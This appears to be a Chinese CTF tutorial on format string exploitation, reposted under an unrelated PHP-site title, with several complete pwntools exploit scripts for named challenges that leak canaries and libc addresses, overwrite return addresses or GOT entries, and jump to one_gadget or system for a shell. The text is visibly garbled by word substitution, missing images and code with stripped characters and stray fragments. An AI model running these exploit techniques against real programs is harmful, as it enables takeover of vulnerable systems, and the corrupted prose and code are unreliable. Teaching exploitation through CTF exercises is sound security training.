首页 » PHP教程 » phpurldecode占位符技巧_PWN进修之格式化字符串及CTF常见运用手腕

phpurldecode占位符技巧_PWN进修之格式化字符串及CTF常见运用手腕

访客 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

格式化字符串漏洞常日发生在利用 C 或类似措辞编写的程序中,个中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串并进行输出。
当这些函数的格式字符串参数(比如 %s、%d等)由用户供应时,如果未精确地对用户供应的输入进行验证和过滤,就可能存在格式化字符串漏洞。

攻击者可以通过布局特定的格式化字符串,利用漏洞读取和修处死式内存中的敏感数据。
一些可能的攻击办法包括:

phpurldecode占位符技巧_PWN进修之格式化字符串及CTF常见运用手腕

读取内存:通过在格式字符串中利用 %x 或 %s 占位符,可以透露栈上和堆上的内存内容,例如函数返回地址、内部变量值等。
修正内存:通过在格式字符串中利用 %n 占位符,可以将已输出字符的数量写入指定地址,从而实现对内存的修正。
常用任意改:%c和%n的合营利用

我们格式化字符串修正的是第一层指针中的内容 即我们只能写a->b->c中c的内容

phpurldecode占位符技巧_PWN进修之格式化字符串及CTF常见运用手腕
(图片来自网络侵删)

p64()+b'%nc'+'%A$n'#第A位栈中偏移位 向第A位的地址中改写为数字n的大小,一次n只能最多改4个字节大小的数据

在漏洞利用中,%n、%hn和%hh都可以用于将已经存储在堆栈上的数值写入内存中的任意位置。
这些格式字符串的容量取决于它们所针对的底层数据类型 %n格式字符串用于将已经打印出来的字符数(而不是已经写入输出缓冲区的字符数)写入指定地址。
因此,它的容量取决于可掌握的输出大小,常日在4字节范围内。
%h格式字符串将16位无符号整数写入指定地址。
由于其只能写入两个字节,因此其容量范围为0到65535。
%hhn格式字符串将8位无符号整数写入指定地址。
由于其只能写入一个字节,因此其容量范围为0到255。
须要把稳的是,利用这些格式字符串时,必须非常小心以确保精确性和安全性。
在利用这些格式字符串进行漏洞利用时,一定要避免访问未初始化或已开释的内存,还要考虑操作系 统和编译器的内存布局和字节顺序等问题。

不同版本的堆管理和栈偏移有可能不一样c

aaaa%p..... 32位测输入点偏移 aaaaaaaa%p...... 64位测输入点偏移特殊把稳(截断函数\x00对payload的影响)利用 fmtarg 丈量某个栈上地址在栈上的偏移位置8字节(64位)数据或者4字节(32位)数据占一个偏移位One_gadget 结合运用:

one_gadget在进行getshell ()前要先知足寄存器的条件

另一种可能的方法:

如果能透露出栈地址,就能够像非栈上的格式化字符串那样,将支配的栈构造放在栈上然后挟制返回地址,就可以达到多次写的效果。
(即利用可以利用多次的格式化字符串)

例题:国际赛final_ctf 2(同时读写加One_gadget):解题步骤

首先我们直接前辈行代码审计如下图:

我们创造了他的基本漏洞点为栈上的格式化字符串

漏洞利用和须要把稳的点

我们进行该漏洞点的利用:首先查看栈上状况

我们在这里须要同时一次读写机会利用栈上的格式化字符串任意读写

以是要考虑到截断的问题以是要进行截断的避免,我们调度payload在末了填入栈上的对应偏移的地址填为size的bss地址进行格式化字符串改,改完之后效果如下:

末了再利用一次ubuntu20.04下的one_gadget设置即可getshell

【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

把稳这里为了知足20.04下严苛的条件我们须要对寄存器进行设置

> pop_r12:0x40086c

> pop=0x040086c#pop了5个寄存器

> one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget

> one_gadget_addr=libc_base+one_gadget_offset[0]#20840

> #末了打one

> payload2=b'a'(0x48)+p64(canary)+b'a'8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong

> p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值知足one_gadget的触发条件

末了exp如下

from pwn import#from LibcSearcher import context(log_level='debug',arch='amd64',os='linux')choice=1if choice == 1: p=process('./one-format-string')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#当前链接的libc版本elf=ELF('./one-format-string')address=0x400780gdb.attach(p,"finish\n b address")sleep(1)size=0x601060 #14payload=b'aaaaa'+b'%27$p|%23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)#同时读写#这里的末了的size地址是为了填到栈上相对应的偏移位置我们可以直接对其进行修正p.sendlineafter(b'name: \n',payload)p.recvuntil("aaaaa")main_start_243=int(p.recv(14),16)libc_base = main_start_243 - 0xf3 - libc.symbols['__libc_start_main']print("leak_addr",hex(main_start_243))print("libc_base",hex(libc_base))p.recvuntil(b'|')canary=int(p.recv(18),16)pop_r12:0x40086cprint("canary",hex(canary))pop=0x040086c#pop了5个寄存器one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadgetone_gadget_addr=libc_base+one_gadget_offset[0]#20840 #末了打onepayload2=b'a'(0x48)+p64(canary)+b'a'8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyongp.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值知足one_gadget的触发条件p.interactive()

这里须要把稳的点:

是我们要考虑printf对\X00 字符串的截断

精确的payload.只有这一种形式:payload=b'aaaaaa'+b'%20$p %23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)

由于x00的存在,以是Printf:无法利用到后面的%16$n

补充:c措辞下的所有格式化识别符

C措辞中的格式化字符是用于格式化输出的占位符,常用于printf等函数中。
下面是常用的格式化字符及其含义:

%d:输出有符号整数。

%u:输出无符号整数。

%f:输出浮点数。

%c:输出单个字符。

%s:输出字符串。

%p:输出指针的地址。

%e:用科学计数法输出浮点数。

%E:用科学计数法输出浮点数,并将e大写。

%g:输出浮点数,自动选择%f或%e格式。

%G:输出浮点数,自动选择%f或%E格式,并将E大写。

%x:输出无符号整数的十六进制数。

%o:输出无符号整数的八进制数。

%X:输出无符号整数的十六进制数,并将字母ABCDEF大写。

%i:输出有符号整数。

%n:输出已经输出的字符数。

%%:输出%字符本身。

须要把稳的是,这些格式化字符可以与其它字符组合利用,例如%d和%10d分别表示输出有符号整数和输出宽度为10个字符的有符号整数。

C++ 中的格式化字符串的识别符与 C 措辞是基本相同的,也包括上述提到的常用的格式化字符。
不过 C++ 中还增加了一些额外的格式化字符串识别符,例如:

%a:输出十六进制浮点数,包括小数点和指数(如果存在)。

%A:输出十六进制浮点数,包括小数点和指数(如果存在),并将X和P大写。

%lld:输出长长整数。

%zu:输出size_t类型的无符号整数。

%n:和 C 措辞相同,输出已经输出rra=[S字符数。

%t:在格式化字符串中利用std::chrono::time_point类型的韶光。

须要把稳的是,不同编译器可能对 C 和 C++ 的格式化字符串识别符实现略有不同,以是在利用时须要根据实际情形进行调度。

ctf中不同稽核点的例题以及思路解析:[虎符CTF 2022]babygame(格式化字符串和随机数绕过)

保护全开,我们进行静态代码审计

通过不雅观察他的canary可以看到他在栈中的位置

思路: 1.先通过回显透露canary和栈地址

把稳但是我们知道canary的上面便是seed,以是此时的seed已经被我们覆盖为0x6161616161616161了

2.通过修正函数的返回地址的末了两个字节再次进行一次格式化字符串利用 3.打one_gad

exp如下:

from pwn import from LibcSearcher import context.log_level = 'debug'context.arch = 'amd64'io = process('./babygame')io.sendlineafter(b'Please input your name:', b'1234567890' 26 + b'aaaaa')io.recvuntil(b'Hello, ')io.recv(260 + 12)stack_addr = u64(io.recv(6) + b'\x00\x00')srand = 0x30393837answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0, 2, 2, 2, 1, 1, 1, 2, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 2, 2, 1, 2, 2, 2, 1, 1, 0, 1, 2, 1, 2, 1, 0, 1, 2, 1, 2, 0, 0, 1, 1, 2, 0, 1, 2, 1, 1, 2, 0, 2, 1, 0, 2, 2, 2, 2, 0, 2, 1, 1, 0, 2, 1, 1, 2, 0, 2, 0, 1, 1, 2, 1, 1, 1, 2, 2, 0, 0, 2, 2, 2, 2, 2, 0, 1, 0, 0, 1, 2, 0, 2]for i in range(100): try: io.sendlineafter(b'round', str(answer[i]).encode()) except EOFError: print("Failed in " + str(i)) exit(0)io.sendlineafter(b'Good luck to you.', b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218))io.recvuntil(b'0x')libc_addr = int(io.recv(12).decode(), 16)print(hex(libc_addr))libc_addr -= 243Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')base = libc_addr - Libc.symbols['__libc_start_main']libc_system_addr = Libc.symbols['system']mem_system_addr = base + libc_system_addrprint(hex(stack_addr - 0x218))one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base]payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]})io.sendlineafter(b'Good luck to you.', payload)io.interactive()与malloc和free干系的格式化字符串漏洞alloca函数(在栈上分配空间)

#include <stdio.h>#include <stdlib.h>#include <alloca.h>int open_file (const char dir, const char file){ char name = (char ) alloca (strlen (dir) + strlen (file) + 2); strcpy (name, dir); strcat (name, "/"); strcat (name, file); return open (name, O_RDONLY);}

这个函数用alloca函数在栈上分配了一个足够存储两个参数字符串拼接后的文件名的空间,并返回打开该文件的文件描述符或-1表示失落败。
当函数返回时,name指向的内存会自动开释。

alloca在栈上分配内存,而malloc在堆上分配内存。
alloca分配的内存在函数返回时自动开释,不须要手动free,这样可以避免忘却开释或重复开释的问题。

alloca分配内存的速率很快,而且险些不摧残浪费蹂躏空间。
alloca也不会导致内存碎片化,由于它没有为不同大小的块分配单独的池。

alloca可以用来创建变长数组,在C99之前没有这个功能。

当然,alloca也有一些缺陷和限定,比如:

alloca分配的内存不能跨函数利用,由于它会在函数返回时被开释。

alloca可能导致栈溢出,由于栈空间有限(常日只有几KB),而堆空间远大于栈空间。

alloca不是标准C函数,它可能在不同的平台和编译器上有不同的行为或实现办法

利用思路:

printf函数在输出较多内容时,会调用malloc函数分配缓冲区,输出结束之后会调用free函数开释申请的缓冲区内存。
同样的scanf函数也会调用malloc。

[SDCTF 2022]Oil Spill(在栈上输入的动化格式化字符串漏洞随意写)

此工具的下载地址:

Linux Pwn - pwntools fmtstr模块 | lzeroyuee’s blog fmtstr_payload用于自动天生格式化字符串payload

pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → stroffset:掌握的第一个格式化程序的偏移writes:为字典,用于往addr中写入value,例如{addr: value, addr2: value2}numbwritten:已经由printf写入的字节数write_size:必须是byte/short/int个中之一,指定按什么数据宽度写(%hhn/%hn/%n)

exp如下

from pwn import from ctypes import from LibcSearcher import def s(a): p.send(a)def sa(a, b): p.sendafter(a, b)def sl(a): p.sendline(a)def sla(a, b): p.sendlineafter(a, b)def r(): p.recv()def pr(): print(p.recv())def rl(a): p.recvuntil(a)def inter(): p.interactive()def debug(): gdb.attach(p) pause()def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('43.142.108.3', 28194)elf = ELF('./pwn')libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')def ga(): rl(b'0x') return int(p.recvuntil(b',')[:-1], 16)puts = ga()printf = ga()stack = ga()libc_base = puts - libc.sym['puts']one_gadget = libc_base + 0x10a2fcsystem = libc_base + libc.sym['system']#gdb.attach(p, 'b 0x400738')sla(b'it?\n', fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'}))#pause()inter()print(hex(puts), hex(printf), hex(stack))非栈上的格式化字符串漏洞

这里先贴两张大体的利用思路如下:

间接写地址:间接向栈上某个地址套入地址的值

当程序mian返回时就会实行libc_start_main位置开始及其往下的gadget

1.可以改got表的()

由于只能写第一层指针,以是我们要进行跳板式的写入(一样平常第一步用有三层指针偏移地址处进行操作),多次间接写入,找与目标改地址很像的位置作为二级跳板可以少改写几位

把稳事变:1.0要改三个或者四个字节的时候我们可以通过多个跳板先改高位再改低位1.01如果 system 中的数据是 0x7fffffffffff320a,那么实行 (system>>16)&0xff 将得到以下结果:

(system >> 16) = 0x7fff_ffff_ffff0xff = 0x0000_00ff--------------------------- 0x0000_00ff

因此,这个表达式的结果是十进制数值 255 或十六进制数值 0xff。

1.02一次格式化字符串改写两次的时候要把稳第一次输出的字符数对第二次的影响(因此一次输入的时候要减去第一次已经打印的字符数)

1.03与运算0xff是保留最低一位数据以此类推

疑问:1.1为什么要用next来遍历吸收/bin/sh?

利用 next() 方法是由于 pwntools 库的 search() 函数返回的是一个天生器(generator)工具,而非列表。
天生器是一种分外的迭代器,它不会在内存中保存所有元素的值,而是根据须要逐个天生每个值。
这种办法可以避免占用太多内存,特殊是在搜索大型 ELF 文件时。
由于天生器只能利用一次,因此必须通过调用 next() 方法来逐个获取个中的元素。
在本例中,我们只须要获取第一个匹配结果的地址,因此利用 next() 可以方便地得到该地址,并将其与 libc_base 相加得到终极的 sh_addr 值。
如果直接调用 libc.search("/bin/sh"),则无法直接获取匹配结果的地址,而且每次调用都会重新搜索全体 ELF 文件。
因此,利用 next(libc.search("/bin/sh")) 可以更方便地获取地址,并避免重复搜索文件的开销

1.3如何变动写入的位置?

修正got表的时候:

其余找一个与要修正的got地址相差不大的栈中所存的地方,分别记为A,B,然后第一次支配到A处修正got表X字节,第二次支配到B处修正got表+X字节处的地址,如图所示

第一次修正前

第一次修正后

第二次修正前

第二次修正后

log.success("one_gadget:"+hex(one_gadget_addr))yes1=str((stack_tar)&0xffff)yes2=str((one_gadget_addr)&0xffff)yes3=str((stack_tar+2)&0xffff)yes4=str((one_gadget_addr>>16)&0xff)pay='%{}c%{}$hn'.format(yes1,10)pay2='%{}c%{}$hn'.format(yes2,39)pay3='%{}c%{}$hn'.format(yes3,10)pay4='%{}c%{}$hhn'.format(yes4,39)

或者利用一个地址进行多次修正也可以事理跟那个一样

1.2(1)例:

0x7fffffaaa093与0xff处理则只剩最第一字节0x93

不可以修正got表的(开了full ASRL)思路:改写_libc_main_start成one_gadget(_libc_main_start是main函数退出后会从这里开始实行)2023铁人三项的fmstr(知识点用到的跟上面一样)

from pwn import from ctypes import #from LibcSearcher import context(os='linux', arch='amd64', log_level='debug')def s(a) : p.send(a)def sa(a, b) : p.sendafter(a, b)def sl(a) : p.sendline(a)def sla(a, b) : p.sendlineafter(a, b)def r() : return p.recv()def pr() : print(p.recv())def rl(a) : return p.recvuntil(a)def inter() : p.interactive()def debug(): gdb.attach(p) pause()def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_shell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))p = process('./fmtstr')#p = remote('1.14.71.254', 28966)elf = ELF('./fmtstr')libc= ELF('/home/pwngo/libc-2.33.so')sla(b'first.\n',b'aaaa')#debug()sla(b'password\n',b'aa%16$p..%9$pbb%10$p')p.recvuntil(b'aa')elf_base = int(p.recv(14),16)-0x1140pop_r12_r15=elf_base+0x13fcp.recvuntil(b'..')main_start_213=int(p.recv(14),16)print(hex(main_start_213))libc_base = main_start_213 - 0xD5(F3或者F0) - libc.symbols['__libc_start_main'] p.recvuntil(b'bb')stack=int(p.recv(14),16)log.success("stack:"+hex(stack))log.success("elf_base:"+hex(elf_base))log.success("libc_base:"+hex(libc_base))print(hex(pop_r12_r15))system = libc_base + libc.sym['system']log.success("shell:"+hex(system))# sla(b'',"aaa")stack_tar=stack-0xf0#透露的栈是三级跳板处的栈地址,我们以此为中央根据偏移找不同的栈地址log.success("stack_tar:"+hex(stack_tar))#debug()#下面是根据_libc_main_start改写成one_gadget的脚本one_gadget_offset=[0xde78c,0xde78f,0xde792]#one_gadget libc版本查看可以利用的gadgetone_gadget_addr=libc_base+one_gadget_offset[1]log.success("one_gadget:"+hex(one_gadget_addr))yes1=str((stack_tar)&0xffff))yes2=str((one_gadget_addr)&0xffff)#0xffff指的是保留末两位字节,详细讲解看上面的阐明yes3=str((stack_tar+2)&0xffff)yes4=str((one_gadget_addr>>16)&0xff)#右移2位导致&0xff之后取到倒数第三个字节pay='%{}c%{}$hn'.format(yes1,10)pay2='%{}c%{}$hn'.format(yes2,39)pay3='%{}c%{}$hn'.format(yes3,10)#python中的占位符pay4='%{}c%{}$hhn'.format(yes4,39)sla(b'again\n',pay)sla(b'again\n',pay2)sla(b'again\n',pay3)sla(b'again\n',pay4)p.interactive()(安洵)heap上格式化字符串并且不是改main函数ret返回地址代码审计

这个for循环解释了我们只是把ptr的字符存在栈上,而每次printf(ptr的时候都是一次格式化字符串)ralloc函数(与堆操作干系)

realloc函数是C措辞标准库中的一个函数,用于重新分配内存块的大小。
它可以扩大或缩小一个已分配的内存块,也可以用于在堆上分配新的内存块。
realloc函数的定义如下:

void realloc(void ptr, size_t size);

个中,ptr是指向已分配内存块的指针,size是新的内存块大小。
realloc函数返回一个指针,指向重新分配后的内存块。
realloc函数的利用流程如下:

如果ptr为NULL,则等价于调用malloc(size),即在堆上分配一个新的内存块并返回指针。
如果size为0,且ptr不为NULL,则等价于调用free(ptr),即开释ptr指向的内存块,并返回NULL。
如果ptr和size都不为NULL,则会重新分配ptr指向的内存块的大小为size,并返回指向重新分配后的内存块的指针。
如果重新分配后的内存块大小比原来的大,那么新分配的内存块中的未初始化的部分将是不愿定的。
如果重新分配失落败,则返回NULL,原来的内存块不会被开释。

exp如下:

from pwn import from struct import packfrom ctypes import import hashlibdef s(a): p.send(a)def sa(a, b): p.sendafter(a, b)def sl(a): p.sendline(a)def sla(a, b): p.sendlineafter(a, b)def r(): p.recv()def pr(): print(p.recv())def rl(a): return p.recvuntil(a)def inter(): p.interactive()def debug(): gdb.attach(p) pause()def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')p = process('./harde_pwn')#p = remote('47.108.165.60', 42545)elf = ELF('./harde_pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')sa(b'game!\n', p64(0)4)c_libc.srand(0)for i in range(21): sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1))sa(b'input your data ;)\n', b'%8$p%11$p%7$p')rl(b'0x')stack = int(p.recv(12), 16)rl(b'0x')libc_base = int(p.recv(12), 16) - 243-libc.symbols['__libc_start_main']ret = stack - 8ptr = stack - 0x18rbp = stack - 0x10rl(b'0x')heap_base = int(p.recv(12), 16) - 0x2a0debug()one_gadget = libc_base + 0xebcf8printf_ret = ptr - 0x10print(' printf_ret -> ', hex(printf_ret))print(' heap_base -> ', hex(heap_base))print(' stack -> ', hex(stack))print(' libc_base -> ', hex(libc_base))for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i8) & 0xff).encode() + b'c%41$hhn\x00')#rbp写成存onegadgetsa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%28$hn\x00')sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%41$hhn\x00')#改一次rbointer()技巧补充改大地址:

利用不是在栈上的格式化字符串的时候我们都要明白一个事理:

当你对绿圈的格式化偏移进行修正时,真正被修正的是箭头所指向的低地址处,这也是找跳板的意义

for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i8) & 0xff).encode() + b'c%41$hhn\x00')

像上面一样我们可以每改一次将rbp的地址加某个数进行错位改大数字,跟异位假造doublefree的fd头有相同的思想

有可能可以再利用一次leava或者ret

我们看到rsp现在跟在rbp前3单位处,我们没pop一次(ret)rsp的地址就会增加一个单位,当我们三次pop的时候我们的rsp就会跟rbp重合,从而getshell

标签:

相关文章

php当地署理技巧_怎么理解PHP代理模式

在前面的文章中,我们已经给大家大略先容了PHP代理模式的根本观点,相信大家对代理模式也有了一点理解。本节内容就结合详细的代码示例,...

PHP教程 2024-12-10 阅读0 评论0